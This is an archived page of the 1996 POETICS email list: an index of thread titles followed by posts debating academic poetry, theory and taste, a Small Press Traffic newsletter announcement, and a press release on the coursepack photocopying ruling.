414. Ada Aharoni — Re: Bunting, Pound and Luther King
415. chris daniels — Re: my excesses
416. a hurricane triggered by butterfly's wings — newsgroup creation policy bogosity
417. Henry Gould — Re: poetry center info/donations
418. Scott J Pound — Re: AN: Aldon Nielsen: BAD
419. Michael Boughn — Re: 16 Oz or (bow outs)
420. Paul Naylor — Pound and Zukofsky
421. David Kellogg — Re: Kellog's article and reification
422. R I Caddel — Re: Pound & Man at Yale
423. Rachel Blau DuPlessis — Re: Pound takes a "Ding" -Returns a "Dong"
424. Mark W Scroggins — Re: Pound and Zukofsky
425. Henry — Re: Pound & Man at Yale
426. Emily Lloyd — Re: Bunting, Pound and Luther King
427. Julie Marie Schmid — Re: Pound & Man at Yale
428. Joe Amato — Re: newsgroup creation policy bogosity
429. Joe Amato — Re: Kundera
430. tosh berman — Re: Bunting, Pound and Luther King
431. Gwyn McVay — Ack--the word reified
432. Maria Damon — Re: Pound & Man at Yale
433. Jerry Rothenberg — Re: more on Pound: query for Jerry R.
434. Steve Carll — Re: Bunting, Pound and Luther King
435. tosh berman — Re: Bunting, Pound and Luther King
436. cris cheek — Re: dadaists & mamaists
437. Tardos Mac Low — Big Allis reading at Segue Space, 23 May 1996
438. Charles Alexander — poems
439. Michael Boughn — Re: Pound and Zukofsky
440. Maria Damon — vacation from my vacation
441. Maria Damon — poetry as performance
442. cris cheek — Black Writers Conference on the Web
443. Tardos Mac Low — Pound etc.
444. chris daniels — responses to my excesses
445. chris daniels — more on bunting
446. Tardos Mac Low — Pound one last sentence
447. Robert Drake — Black Writers Conference on the Web
448. Tardos Mac Low — corrected notice for Big Allis reading

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449. Gabrielle Welford — Re: my excesses
450. Peter Quartermain — Re: Ghost books
451. chris daniels — Re: my excesses
452. Aldon L. Nielsen — Re: Lenore Kandel
453. Eryque Gleason — Re: my excesses
454. Kevin Killian — Feminist Measures
455. Ada Aharoni — Re: Pound & Man at Yale
456. Alan Sondheim — Re: my excesses
457. mikl-em — Re: Kandel
458. Mark Peters — Espanol
459. R I Caddel — Re: more on bunting
460. Karen or Peter Landers — Peter Landers at Writers & Books Thursday
461. Emily Lloyd — may-sures & misc
462. Maria Damon — Re: Feminist Measures
463. Marjorie Perloff — Re: Pound & Fascism
464. main — Re: Espanol
465. tosh berman — Re: Pound & Fascism

466. Aldon L. Nielsen — Re: Scroggins without Limits
467. chris daniels — FW: Re: more on bunting /perloff's post
468. Joe Amato — Re: Pound & Fascism
469. Jordan Davis — youth against fascism
470. Edward Foster — Re: switzerland
471. Henry Gould — Re: youth against fascism
472. Jeffrey W. Timmons — Re: Pound & Fascism
473. Kevin Killian — SPT: Island of Lost Souls
474. Tony Green — Re: more on bunting
475. Kevin Killian — SPT: Rae Armantrout & Fanny Howe
476. Tony Green — Re: dadaists & mamaists
477. Bill Luoma — Re: Kundera
478. Tardos Mac Low — Heidegger
479. Emily Lloyd — Re: SPT: Island of Lost Souls
480. Charles Smith — Re: dadaists & mamaists
481. Joe Tabbi — announcement: electronic book review #2
482. Joseph Zitt — Re: ghost titles
483. Tony Green — Re: Bury Fascist Ezra Pound
484. Jonathan Brannen — Re: Derrida's Style
485. Jonathan Brannen — Re: POETICS Digest - 11 Mar 1996 to 12 Mar 1996
486. Jonathan Brannen — Re: POETICS Digest - 11 Mar 1996 to 12 Mar 1996
487. cris cheek — Re: poems
488. Edward Foster — Jeanne McGahey
489. chris daniels — Re: may-sures & misc
490. Thomas Bell — Re: may-sures & misc

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491. tosh berman — Re: Pound & Fascism
492. Gwyn McVay — Re: something else
493. chris daniels — FW: another open letter
494. R I Caddel — Bunting / Military Intelligence
495. Schuchat — something else
496. Pierre Joris — Re: Pound, fascism, etc.
497. Pierre Joris — Re: Heidegger
498. Pierre Joris — Re: something else
499. Joe Amato — Re: something else
500. Henry Gould — Re: Heidegger
501. Daniel Bouchard — Re: Sorrentino
502. Aldon L. Nielsen — Re: Update on Billy Higgins
503. Peter Larkin — Thomas A Clark
504. Charles Alexander — Re: poems
505. Christopher J. Beach — Re: Pound, fascism, etc.
506. Bill Luoma — Tim Davis & Stephen Rodefer Read
507. Maria Damon — Re: Heidegger
508. Franklin Bruno — Request for addresses
509. Christopher Reiner — New Laura Moriarty Book
510. Douglas Messerli — Sun & Moon competitions
511. Christopher Reiner — New WITZ
512. Douglas Messerli — Re: something else
513. Wendy Battin — Carl Phillips reading

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514. Peter Quartermain — Re: SPT: Island of Lost Souls
515. Christopher Reiner — Re: New WITZ
516. Eryque Gleason — Re: SPT: Island of Lost Souls
517. cris cheek — Re: Heidegger / H & Celan
518. Ron Silliman — Re: Jeanne McGahey

519. Ron Silliman — Re: something else
520. Jordan Davis — bodenheim
521. Kevin Killian — Re: Jeanne McGahey
522. Douglas Messerli — Re: Pound & Fascism
523. Robert Drake — Re: bodenheim
524. Aldon L. Nielsen — Re: Sorrentino
525. Kevin Killian — SPT newsletter--has it arrived?
526. Emily Lloyd — "Brilliant comments, Marjorie!"
527. Jordan Davis — praed
528. David Kellogg — Re: praed
529. Marisa Januzzi — Forgotten hours chime louder/In the meantime...
530. Marisa Januzzi — Re: Sorrentino
531. Jeffrey W. Timmons — UDC Protest
532. Charles Alexander — Umbrella and Disaster
533. Joe Amato — Re: Jeanne McGahey
534. Gabrielle Welford — FREE PELTIER (fwd)
535. Maria Damon — Re: something else
536. Gabrielle Welford — Update 3/20: Peltier Parole Denied (fwd)
537. Gabrielle Welford — ACA at Las Vegas
538. Maria Damon — (no subject)
539. Steve Carll — Re: Request for addresses
540. Laura Moriarty — Re: New Laura Moriarty Book
541. Chris Stroffolino — Re: Forgotten hours chime louder/In the meantime...
542. JNORTON.US.ORACLE.COM — More Pound cake, anyone?
543. Steve Carll — antenym 9 publication/reading
544. Joe — Re: POETICS Digest - 19 Mar 1996 to 20 Mar 1996
545. Edward Foster — Re: Jeanne McGahey

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546. Loss Glazier — Some EPC Stats
547. Eryque Gleason — Re: FREE PELTIER (fwd)
548. Ron Silliman — Adelaide Crapsey
549. Michael Leddy — Re: Sorrentino
550. Kevin Killian — Re: Adelaide Crapsey
551. Aldon L. Nielsen — Re: U.D.C.
552. Jeffrey W. Timmons — Re: U.D.C.
553. Jeffrey W. Timmons — Re: U.D.C.
554. Edward Foster — Re: Adelaide Crapsey
555. Peter Jaeger — Re: Visual Poetry
556. Maria Damon — Re: Adelaide Crapsey
557. Charles Bernstein — Re: reading Pound
558. Jordan Davis — Re: Nourbese Philip
559. Brian McHale — Re: Adelaide Crapsey
560. Maria Damon — Re: environmental/cultural antisemitism
561. David Baratier — Odysseas Elytis
562. David Carl — Re: POETICS Digest - 20 Mar 1996 to 21 Mar 1996
563. David Carl — you decide
564. chris daniels — Re: reading Pound
565. chris daniels — yet another open letter

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566. Gary Hawkins — Re: Visual Poetry
567. Ron Silliman — The Bay scene in 1950s
568. Ron Silliman — Re: Adelaide Crapsey
569. Ron Silliman — Re: Odysseas Elytis
570. Charles Alexander — Re: POETICS Digest - 20 Mar 1996 to 21 Mar 1996
571. Aldon L. Nielsen — Re: On way to Detroit -- Check in again in a week

572. chris daniels — charming naivete, etc.
573. Kevin Killian — SPT newsletter in space
574. John E. Matthias — Crapsey & Winters
575. Chris Stroffolino — Re: Adelaide Crapsey
576. Maria Damon — Re: charming naivete, etc.
577. Maria Damon — Re: Crapsey & Winters
578. Chris Stroffolino — Re: you decide
579. chris daniels — FW: Re: charming naivete, etc.
580. KUSZAI — Announcing _Broken English_ by Dodie Bellamy & Bob Harrison

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581. Chris Stroffolino — reading report: hunt/killian/foster
582. Thomas Bell — Re: Kellog's article and reification
583. Maria Damon — Re: FW: Re: charming naivete, etc.
584. Michael Leddy — Frank O'Hara and Ghost Books
585. Jeffrey W. Timmons — Re: Adelaide Crapsey
586. Douglas Messerli — New Sun & Moon Press titles
587. John E. Matthias — Winters & Stanford
588. Maria Damon — Re: Winters & Stanford
589. Maria Damon — Re: Announcing _Broken English_ by Dodie Bellamy & Bob Harrison
590. Chris Stroffolino — Re: Adelaide Crapsey
591. Kevin Killian — Re: Announcing _Broken English_ by Dodie Bellamy & Bob Harrison

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592. Gwyn McVay — Re: New Sun & Moon Press titles
593. David Kellogg — Re: Kellog's article and reification
594. Mark Roberts — Re: Visual Poetry
595. J. Ellis McAdams — Re: Peltier
596. Douglas Messerli — Re: New Sun & Moon Press titles
597. Jordan Davis — nea creative writing fellowships
598. Eryque Gleason — Re: Peltier
599. Ward Tietz — Re: Visual Poetry
600. chris daniels — FW: Re: Peltier
601. Michael Davidson — Steve Benson
602. Edward Foster — Re: The Bay scene in 1950s

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603. Eryque Gleason — Re: FW: Re: Peltier
604. J. Lowenthal — Electronic Poetry Review (fwd)
605. Thomas Bell — Re: Kellog's article and reification
606. Blair Seagram — sublet/NYC/CPW
607. Ron Silliman — Re: The Bay scene in 1950s
608. chris daniels — Re: robinson jeffers/west coast scene
609. David Kellogg — Re: Kellog's article and reification
610. Edward Foster — Re: robinson jeffers/west coast scene
611. D. LaBeau — Announcing/Call for Submissions EPR
612. Maria Damon — query abt stein/toklas
613. Michael Davidson — Re: The Bay scene in 1950s
614. Jena Osman — Re: Kellog's article and reification
615. Tony Green — Re: nea creative writing fellowships
616. Jordan Davis — ye poetry city reading
617. Joseph Zitt — Sound Poetry ensemble live at Austin Festival
618. AARON SHURIN — O'Hara's ghost
619. Ron Silliman — Re: The Bay scene in 1950s
620. jms — Re: query abt stein/toklas
621. Gary Hawkins — Re: Visual Poetry
622. Kevin Killian — SPT newsletter at EPC

623. Charles Bernstein — Introjective Verse (reply to David Kellog)

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624. Mark W Scroggins — Re: query abt stein/toklas
625. Chris Semansky — EPR
626. Kevin Killian — Re: The Bay scene in 1950s
627. Maria Damon — Re: query abt stein/toklas
628. Charles Alexander — Re: robinson jeffers/west coast scene
629. Emily Lloyd — Re: query abt stein/toklas
630. Mark Wallace — AWP Chronicle, discussions of form
631. Tenney Nathanson — caveat webber
632. Michael Davidson — Re: The Bay scene in 1950s
633. Michael Davidson — Re: The Bay scene in 1950s
634. Jerry Rothenberg — Re: query abt stein/toklas
635. Kevin Killian — Re: query abt stein/toklas
636. Henry Gould — Re: AWP Chronicle, discussions of form
637. Henry Gould — Re: EPR
638. Michelle Roberts — Re: EPR
639. Michelle Roberts — Re: AWP Chronicle, discussions of form
640. Charles Alexander — Re: EPR
641. Charles Alexander — Re: AWP Chronicle, discussions of form
642. Henry Gould — Re: EPR
643. Eryque Gleason — (Fwd) PBS, NPR (National Public Radio)
644. Michael Boughn — Jeffers and Spicer
645. cris cheek — Performance Writing Conference / Dartington 12-14 April
646. Ken Edwards — Barry MacSweeney
647. Maria Damon — Re: AWP Chronicle, discussions of form
648. Maria Damon — Re: query abt stein/toklas
649. David Baratier — Re: AWP Chronicle, discussions of form
650. Jerry Rothenberg — Re: AWP Chronicle, discussions of form
651. M. Magoolaghan — Re: caveat webber
652. Charles Alexander — Re: AWP Chronicle, discussions of form
653. Shaunanne Tangney — Re: robinson jeffers/west coast scene

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654. Schuchat — Re: nea creative writing fellowships
655. R I Caddel — Re: Barry MacSweeney
656. Gwyn McVay — Re: AWP Chronicle, discussions of form
657. Gwyn McVay — Re: AWP Chronicle, discussions of form
658. Gwyn McVay — blush
659. Henry Gould — Re: AWP Chronicle, discussions of form
660. Henry Gould — Re: AWP Chronicle, discussions of form
661. george hartley — Howe grafts
662. Daniel Bouchard — borders and wobblies
663. Chris Stroffolino — Re: borders and wobblies
664. Michael Davidson — Re: query abt stein/toklas
665. Chris Stroffolino — Re: query abt stein/toklas
666. Sheila E. Murphy — E-Zine Questionnaire - Request
667. David Baratier — Re: AWP Chronicle, discussions of form
668. Jordan Davis — raw and cooked
669. Joe Amato — Re: AWP Chronicle, discussions of form
670. Charles Alexander — Re: AWP Chronicle, discussions of form
671. Chris Stroffolino — Re: raw and cooked
672. Tony Green — Re: emnlightenmnet?
673. Emily Lloyd — raw stein & cooked sonnets to go
674. David Baratier — Re[2]: emnlightenmnet?
675. Tony Green — Re: AWP Chronicle, discussions of form

676. Maria Damon — Re: AWP Chronicle, discussions of form
677. Maria Damon — Re: raw and cooked
678. Ron Silliman — Re: AWP Chronicle, discussions of form
679. Gwyn McVay — Re: raw and cooked
680. Alan Sondheim — alphabetic avatars

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681. Sheila E. Murphy — Re: Announcing/Call for Submissions EPR
682. Chris Stroffolino — Re: AWP Chronicle, discussions of form
683. Ron Silliman — NYC Talks
684. chris daniels — (no subject)
685. Michael Boughn — Wyatt nd the sonnet
686. Henry Gould — Re: raw stein & cooked sonnets to go
687. Charles Alexander — Re: AWP Chronicle, discussions of form
688. Charles Alexander — (no subject)
689. Henry Gould — Re: AWP Chronicle, discussions of form
690. Maria Damon — Re: AWP Chronicle, discussions of form
691. Michael Boughn — Re: raw stein & cooked sonnets to go
692. Henry Gould — Re: raw stein & cooked sonnets to go
693. Emily Lloyd — Re: raw stein & cooked sonnets to go
694. Joe Amato — Re: AWP Chronicle, discussions of form
695. Joe Amato — Re: AWP Chronicle, discussions of form
696. Jordan Davis — poetry sightings at poetry city Mar. 28
697. Sheila E. Murphy — apologies to the list
698. Pierre Joris — Re: Barry MacSweeney
699. Aldon L. Nielsen — Re: Contra Simic (back from Detroit)
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703. Michelle Roberts — Re: AWP Chronicle, discussions of form
704. Michelle Roberts — Re: AWP Chronicle, discussions of form
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732. Thomas M. Orange — Queneau's sonnet machine
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741. Charles Alexander — Re: assemblings and multi-media books
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743. Tim Wood — Poetry Video
744. tosh berman — Re: Poetry Video
745. Thomas Bell — Re: raw stein & cooked sonnets to go

1. Lisa Samuels

Re: Adorno

Thu 29 Feb 1996

---

according to Emily Lloyd:
>
> "I do not doubt the egos of sports stars who discourage newspaper boys from
> asking questions about the sport."
>
> --E(xtra!Extra!)
>
>
> Maybe the potential for being bashed, silenced, or "publicly humiliated"
> keeps some women from joining the list.
>

(from one who joined the list but rarely posts) it's more
like wanting to write only when i feel i have something
real to say.
figuring out the positions of various groups and
individuals seems an ongoing (not to say futile, for it's
interesting to watch the shifts) exercise in establishing
and overthrowing and re-establishing what's important
(at least for that particular discursive moment). i have
no insistent stance to promote, nobody to persuade, *here*.
so i just listen.
also, new to this world (no silliman i), i feel a bit
like the betrothed sitting in the living room with the
beloved's family. you'd better believe i'm just going to listen
and figure out how all these people manage to get along.

lisa samuels

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2. Steven Howard Shoemaker

sciku

Thu 29 Feb 1996

Since i started the whole damn renga thing once upon a time (Yup--check the archives--that first books/dreams line is my most famous flicker in posey's eternal flame) i consider myself the list's godfather of bastard imperialist forms. So here's something i wrote sort of in accordance with the guidelines of the Sci-Faiku Manifesto (http://www.crew.umich.edu/ ~brink/poetry/haikuhabitat.html)

and sort of thinking about my post on scanning brains/scanning poems. But really it's more a sciku or tekku:

slow modem

brain slow like last leaf

tentative fall

of seventeen bits

Let the craze begin!

steve

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3. Tony Green
Re: academic poet/ry
Thu 29 Feb 1996

Dear Emily, I have a friend accessible only on snail-mail who finds that Shaks sonnets have been emended and emended without just cause in academia for a long time, & that the way that they are printed in first(early ?) edition suggests a structuring of the sequence that all the academics he knows want to ignore. I'll try get some statement out of him for you on this to put on the e sometime fairly soon. But in his experience the one thing you won't get from academia is a good intro to Shaks sonnets. So he tells me, at length, in conversation. This puts a long bony finger into the ribs. best

Tony Green,
e-mail: [redacted]

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4. Patrick Foley
none
Thu 29 Feb 1996

I wrote a longish note after reading Don Byrd's comments, and all of today's back & forth about academic poetry, but all I really want to say is this: the differences among poets are small, so far as they all are poets. That you write poems must matter more than what school (of thought) you are affiliated with, what college you attended, what year you were born in. From Shakespeare to Keats is a breath, from Keats to us another, that is all. It is all poetry. Poets must write all of it. I am embarassed to have let myself fall into the usual polemics, the pastime of "cheering" for one team or another, as Don Byrd wisely puts it. I do want to understand the poems, the poetries I cannot yet, but I have

gone about it clumsily. I do hope to be able to contribute something to this discussion, but I for one will amend my tone.

Pat Foley

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5. Thomas Bell
Re: scanning brains/ scanning poems
Fri 1 Mar 1996

YES, exactly, but why is no one saying or thinking this outside of this list and a few obscure corners. The media and the academy and the drug companies (and the drug companies) certainly don't. 90% of people who feel bad ask for and get a pill, Part of the information gap might be the silence of those who hold an opposing view?

Thanks for starting the renga BTW. It has been an experience.
best,
tom bell
On Thu, 29 Feb 1996, Steven Howard Shoemaker wrote:

> *Tom Bell writes:*
>
> > *Does this mean that poetry can change the way a reader or writer's brain works?"*
>
> *Sure it can, and i'm a bit surprised by the question, by the tentativeness of that groping for "scientific" confirmation of what we know to be true. No question that reading all that poetry makes us different people, changes the kinds of organisms we are. But to stick with "science" or "biology," the question arises from a persistent reification, common to popular discourse, of the "biological" as a kind of lumpy given. In fact, we*
> *...*
> *steve shoemaker*

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6. Kevin Killian
Spring issue of SPT newsletter
Fri 1 Mar 1996

This is Dodie Bellamy again.

The Spring, 1996 (#17) issue of the Small Press Traffic newsletter will be printed this weekend and bulk-mailed next week. This is your last chance to sign up for a free copy of the newsletter, cunningly called _Traffic_. Though the

newsletter is for members I've decided that due to our expanded reviews section, to offer subscriptions to people living outside the San Francisco Bay area. This first issue is free to anyone who asks--the next three issues can be had at the low subscription rate of $10.

Make checks payable to Small Press Traffic and send to:
Small Press Traffic
at New College
741 Valencia Street
San Francisco, CA 94110

This issue features reviews from many people on the Poetics List, plus a couple non-high tech types:

Jonathan Brannen on Gil Ott
Louis Cabri on Lyn Hejinian and Kit Robinson
David Clippinger on William Bronk
Lisa Cooper on Mei-Mei Berssenbrugge
Maria Damon on Kathleen Fraser and Bev Dahlen
Ben Friedlander on Gerrit Lansing
Loss Glazier on Karen MacCormack
Janet Gray on Sheila Murphy
Marisa Januzzi on Ed Foster's _Postmodern Poetry_ and _Primary Trouble_
Kevin Magee on Dodie Bellamy (me!) and Sam D'Allesandro
Ange Mlinko on Alice Notley and Stephen Jonas
Albert Mobilio on Joseph Donahue
Mark Scroggins on Nathaniel Mackey and Jack Spicer
Tom Vogler on Ron Silliman

I just read the whole issue from cover to cover. It's a Good Read.

And reviewers: thanks a million for all your hard work. You'll be getting your copies soon.

Those of you who have inquired about, or signed up for reviewing books for the Summer issue of _Traffic_, I'll be getting in touch with you next week. I appreciate your patience.

Dodie

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7. Ron Silliman
College fetish
Fri 1 Mar 1996

DiPalma taught there in the late 1960s, early '70s. Howard McCord ran the writing program there then and may still for all I know. McCord was a fairly interesting poet whose work seems to have disappeared entirely from print over the past two decades.

No school can touch Reed back when it produced, at once, Whalen, Snyder and Welch, for poets-to-total-class-size.

Ron Silliman

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8. Ron Silliman
Re: academic poet/ry
Fri 1 Mar 1996

Emily,

I wonder (really--not being facetious) why the poetry & poets that are least accepted (promoted, hired, what-have-you) by the academe are the ones whose work can rarely be discussed w/o using "academic" language or fully appreciated w/o having a theory background? It seems off to call L=Apo "outsider" poetry, kind of, don't it? Isn't it, relative to the masses (some cartoon vision of an audience-at-large), more insider than insider? More academe than academe?"

It's historical. In the 1950s when the New Critics consolidated their control over the English curriculum, the creative writing movement grew up as a place where poets (and fiction writers) did not have to pretend to be new critics (especially true in Iowa, which had some heavy N. Crit. faculty as I dimly recall). Once the theory wave hit (two decades later), it really became a bastion of reaction to the rest of the department. In Syracuse they wanted to make theory an undergrad requirement several years ago and had to do something like make creative writing its own separate dept in order to get the votes to do so.

The idea of langpo as "insider" writing extends a critique that goes back as far as the troubadors, who composed their "trobar clus" as poetry for their fellow poets rather than the works they intended for larger audiences. I fear that writing that requires writers and readers both to be on their toes will always be considered such.

Ron Silliman

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9. Ron Silliman

Authors & Publishers Fight Photocopy Ruling

Fri 1 Mar 1996

The Authors Guild
American Society of Journalists and Authors (ASJA)
Text and Academic Authors Association (TAAA)
The Authors Registry

FOR IMMEDIATE RELEASE
February 28, 1996

AUTHORS'
GROUPS BACK PUBLISHERS IN FIGHTING RULING
THAT `COURSEPACK' PHOTOCOPYING NEEDS NO PERMISSION

In a rare instance of partnership, authors and publishers, who frequently face off in angry disputes about who owns what, this week joined forces to call for the overturn of a federal court decision permitting unrestricted photocopying of portions of books and articles for university "coursepacks" without payment to copyright holders.

Authors' organizations representing tens of thousands of writers filed a "friend of the court" brief in support of publishers seeking a rehearing of what the authors termed a "dangerous" copyright decision handed down February 12 by the U.S. Court of Appeals for the Sixth Circuit. The authors took particular issue with the court's finding, in a 2-to-1 decision, that the standard practice of paying for licenses to make such photocopies is not an incentive for authors to write.

The organizations involved are three national writers' groups--the Authors Guild, the American Society of Journalists and Authors (ASJA), and the Text and Academic Authors Association (TAAA)--and the Authors Registry, the new royalty collection and licensing agency endorsed by more than 30 writers' groups and 95 literary agencies.

At issue is a case in which Princeton University Press, Macmillan and St. Martin's Press sued Michigan Document Services, a copyshop specializing in coursepacks--professors' custom-ordered anthologies of excerpts from published works, which are increasingly taking the place of textbooks for college courses. Copyshops regularly obtain permissions and pay fees to reproduce copyrighted works, but the Michigan shop boasted to professors that it would make coursepacks with "No Delays Waiting for Permission." The appeals court majority, reversing a lower court ruling, declared the permissionless photocopying legal.

The "friend of the court" brief, prepared by Authors Guild attorneys, assured the court that compensation is indeed an incentive to writers, and that depriving publishers of their share of permissions income would also hurt writers by leading to fewer published works.

The authors' groups pointed to their long efforts to stop uncompensated photocopying and asked the court, "What else could account for the immediate impact of the Authors Registry, in which over 50,000 authors are registered for collection, accounting and payment of royalties and fees?"

A decision on rehearing the case is expected in March.

###

Contacts:
Authors Guild - Kay Murray, [redacted]
ASJA - Dan Carlinsky, [redacted]

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10. Chris Stroffolino
Re: academic poet/ry
Fri 1 Mar 1996

Maria, but what if you DID encounter such students? Is it a one-way street? Like can one eat one's "avant-garde" desert before? I mean dessert.... Or is it possible that a poet who comes to the avant-garde stuff without ever having access to, or interest in, the mainstream tradition (western) (dying?), will have been spared an un-necessary immersion in stuffy stuff ? That "experiment" includes "tradition" more than vice versa--- I'm surprised you haven't encountered such students... I wonder what you would have done with me had I been your student.... cs

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11. Keith Tuma
Re: dead horses, live theories
Fri 1 Mar 1996

David Kellogg writes:

"I know why I read poetry, but I know plenty of people who don't read any, and they don't seem to be deprived. It's damned presumptuous to write as though they are, or to suggest that the reasons why poetry is important to ME will be important to anybody else."

When you're writing on Foucault and BH Smith and Bourdieu, David, aren't you trying to convince your potential readers that it might be a good thing to pay

attention to what you're saying and what (in your view) they're saying-- about "taste," about contingencies of value, etc.? What makes that writing less presumptuous? Isn't the real problem here not the professing of taste per se but the authoritativeness of tone used to profess? I'm not *really* surprised that people want to know who you read--are you? I mean, to follow this logic to its endpoint, it's presumptuous to write at all, or to breathe-- you're grabbing some oxygen others clearly have their own use for.

Keith Tuma

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12. Joe Amato

Re: dead horses, live theories

Fri 1 Mar 1996

---

david kellogg has glossed this issue of academic theorizing wisely... yes---the irony of rejecting theoretically-inclined poets (or intellectuals, for that matter) in the academic meat market on the basis of what don byrd has identified as "taste" is that it is precisely the category of the "poetic" that is thereby accorded primacy in literary (-historical) studies... and again, as don indicates, this includes taste-driven views of theory (theory, that is, as anything but practice---let's call it a connoisseurship of theory), and is often accomplished w/o any critical intervention at all vis-a-vis those for whom the term has a direct resonance---poets, poetry theorists, etc... at the same time, creative writers thus safeguard their status as ultimate legislators of taste... i would hasten to add that, though the national book circle critics award will most certainly attract more academic acclaim than most scholarly awards, the stipulation in mla job ads of "national publications required" is ONLY used for creative writing positions... that is, creative writers are in this regard working under much more exclusionary criteria..

i could make a list of critical works that riff on things poetic but never, never mention poetry... in any case it's damned difficult, as david sez, even to *talk* poetry with most of my colleagues, and methinks this is less a matter of their willful resistance than of their preparation in grad. school, the emphasis in those quarters...

now it's worth pointing out here that there *is*, within composition studies (as opposed to literary studies per se), a growing constituency of folks for whom poetry and poetics means just that... i'm thinking, for example, of wendy bishop, derek owens (whose book was cited on this list a couple of weeks back), and eve shelnutt... what's interesting here is that these latter three scholars foreground the *teaching* of writing as opposed to the study of literature... hence the institutional status of creative writing is something about which each is

well-informed... and note that jed rasula's _the american poetry wax museum_ is itself on the ncte (that's 'national council of teachers of english') series, "refiguring english studies," whose series editor is none other than steve north (whose _the making of knowledge in composition: portrait of an emerging field_ (boynton-cook) had a rather profound effect on composition studies)...

joe

↑ Index

13. Jordan Davis
Five Get Overexcited
Fri 1 Mar 1996

"Well Chris I think it would be wise for a poet to write in as many of the different affects that show up during the day.. to look as much as possible like a normal person, eventually.. viz your shakespeare or my breathing keats.." --from Tony Adorno's first novel, _Deipnosophistry_, republished last year by Red & Blue..

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14. Donald J. Byrd
Re: academic poet/ry
Fri 1 Mar 1996

Ron's account of the anti-intellectualism of the Iowa- inspired creative writing programs (which is to say nearly all creative writing programs) is quite correct. Basically, the maker of new critical objects (poems, stories, whatever) was supposed to be a kind of idiot savant. The primary qualifications were an unhappy childhood, binge drinking, and impeccable taste.

It was the critic's task to do the socially responsible task of explaining how this genius adolescent was performing as an emotional lightning rod for the otherwise responsible adults of a demanding society.

The underlying assumption that has been in many of the postings--academic=difficult or requiring a significant amount of information not provide by the text itself, non-academic= easy to read--simply has it backwards. The function of the American academy is not to be in the vanguard of learning. It's functions are (1) for the sciences to do research that is necessary but not related to immediate profits and (2) to instruct the undergraduates in the prevailing values.

The whole idea is to make it all as simple as possible for young people, who really aren't very interested (and rightly so, as what they are typically

asked to learn is an attack on their vitality). Early on in the move to theory, Robert Scholes argued that since we cannot get our students to read as many books as we would like, we will teach them the theory.... If they can get the general theory, they won't have to know so damned many examples.

It all backfired in a way that is somewhat amusing.
Theory turned out to be a kind of tar baby, and the academic hands
got stuck to it.

It's not a matter of knowing the theory (the academic thing), it is a matter of_ using_ the theory. Consider the way, Gertrude Stein used William James and Alfred North Whitehead (she was a student of one and friend of the other) or the way Proust used Bergson, or Olson used Whitehead, or even the way Eliot used F.H. Bradley.

In fact, most of the theories in academia are (appropriately enough) theories of reading (i.e. consumption) or they are made into theories of reading. These are really of no use for writer's. A writer's reading is a whole other matter.

Don Byrd

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15. David Kellogg
Re: dead horses, live theories
Fri 1 Mar 1996

On Fri, 1 Mar 1996, Keith Tuma wrote:

> *When you're writing on Foucault and BH Smith and Bourdieu, David, aren't you trying to convince your potential readers that it might be a good thing to pay attention to what you're saying and what (in your view) they're saying--about "taste," about contingencies of value, etc.? What makes that writing less presumptuous? Isn't the real problem here not the professing of taste per se but the authoritativeness of tone used to profess? I'm not *really* surprised that people want to know who you read--are you? I mean, to follow this logic to its endpoint, it's presumptuous to write at all, or to breathe--you're grabbing some oxygen others clearly have their own use for.*

Dear Keith,

You're right: the presumptousness lies in the mode of address, not in the idea of preference as such. I wasn't making myself clear. But I'm sticking to my relativist guns.

We all have tastes, sure, they're all socially & historically constructed ("all the way down," as it were), and of course I prefer it if other people's values

correspond *at some level* to my own. (Though this can be boring also). So yes, I think that, as you nicely put it, "it might be a good thing if" etc. etc.

What I was trying to address, perhaps not very well, was the network of expectation in the academy about contemporary poetry, a network of expectation that ASSUMES that if you're in contemporary poetry well of COURSE you're going to confirm or challenge people's tastes -- that's what academics in poetry DO, isn't it? In other words, enter the taste-making game of poetry or bail.

Moreover, do it on absolutist terms. In my experience, it's more or less assumed that the theoretical work you do will have some direct relation to this, that the final mission of theory in contemporary poetry is to say, "Poet A is the bee's knees," or Poet X beats Poet Y, or Poetry is better than television because _____. And not theorize it, not say, "I seem to choose poet A over poet B because of certain elements in my own history and construction as a subject. This may not work for you."

My current work is precisely about the forms of evaluation current in the poetry biz, and I think it sometimes -- not always, I'm admittedly overstating it a bit -- freaks people out some for those reasons. I could think of other kinds of work that would be equally or more estranged, most of it falling under the rubric of some form or another of cultural studies or ethnographic writing. (Like Maria D's book). Such works are piss people off not because they express opinions, but because they situate their own position in the field of socially constructed taste.

Cheers,
David
~~~
~~~

Rod--I like you idea of "synchronicity" rather than simply class having to do with why so many poets were at a particular institution at a particular time. Harvard, in particular, has a history of having students who are intellectually inclined but not at all from privileged backgrounds. (My father-in-law was one). There is a lure about places like Harvard and Berkeley that is not merely class-defined. Perhaps it's historical, perhaps its literary or poetic. This would be a very interesting book, actually (the history of Harvard and twentieth century American poetry). Why has Princeton, to use your example, produced so many fewer poets. Did Palmer, Hejinian and Bernstein know about the poetic tradition of Harvard before deciding to go there? Did it play a role in their decision? Does Harvard's admissions policy place more of an emphasis on poetic talent in admitting students than, say, Princeton's? Perhaps--I don't know. But all of these would be relevant questions, as would questions of how different institutions are perceived within different communities: ie. Jewish, African-American, gay, poetic, intellectual.

Chris B

On Wed, 28 Feb 1996, Rod Smith wrote:

> *NEW Ziolkowski, Moxley, & Davies YES!*
>
> *Ron--*
> *Liked yr post on class very much. Two of my heroes, Cage & Oppen, were college drop outs.*
>
> *Chris B--*
> *As I said, the Harvard thing isn't something I wld overemphasize, however, you asked who among G1 went there -- Bernstein, Hejinian, & Palmer all went there.*
> *Possibly the three biggest name language poets (I know I know Michael's not a language poet). Andrews*
> *was there as a grad student. & Susan Howe's father taught there, was head of the Eng Dept. for a number of years I believe. Aside from Olson, Ashbery, O'Hara, Creeley was also there during WWII. & Burroghs I think dropped out? Pretty good school I'd say. Any "major poets" go to Princeton? Actually, the question falls somewhere between "privilege" & some kind of odd synchronicity-- Providence & the Bay area being two other places that seem to have harbored more than any reasonably expected share of poetic talent. Actually, a populace flows through the yard. . .*
>
> *Chris S--*
> *I think the question of why L-poets were more politically radical, at least overtly, than NYS (other than just "sensibility") had to do with what was going on in the universities generally in the seventies/early eighties-- "theory" was taking over, so it was something they engaged & did it quite well I believe. But as I think has been sd here before, it, theory, means*

> *something quite different now.*
>
> *I'm sorry if I seemed too dismissive of the M, Chris. But I think my statement of the general reaction to their first few manifestoes was accurate. I also said I thought a number of the poems they published were good. & I've said I like Pam R's work, 'specially the Burning Deck book. & I also think Lew D's poem in oblek 12 is interesting. I understand concerns abt divisiveness*
